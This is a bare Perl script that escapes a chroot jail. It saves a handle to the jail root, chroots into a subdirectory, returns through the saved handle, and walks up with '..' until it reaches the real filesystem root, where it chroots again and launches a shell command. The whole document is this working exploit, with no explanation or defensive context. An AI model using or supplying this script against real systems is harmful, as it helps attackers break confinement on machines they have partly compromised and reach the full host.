#!/usr/local/bin/perl use strict; chdir "/"; opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn"; mkdir "mysubdir"; chdir "mysubdir"; chroot "."; chdir(*JAILROOT); while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) { chdir "..";}; chroot "."; system("/bin/sh -c whoami");